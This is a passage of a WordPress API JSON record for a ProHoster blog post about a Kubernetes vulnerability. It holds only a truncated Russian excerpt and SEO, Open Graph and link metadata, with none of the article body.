\u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.1.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.1.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"it_IT\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Quando non si tratta solo di vulnerabilit\u00e0 in Kubernetes\u2026 | ProHoster","description":"Nota.","canonical_url":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"it_IT","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}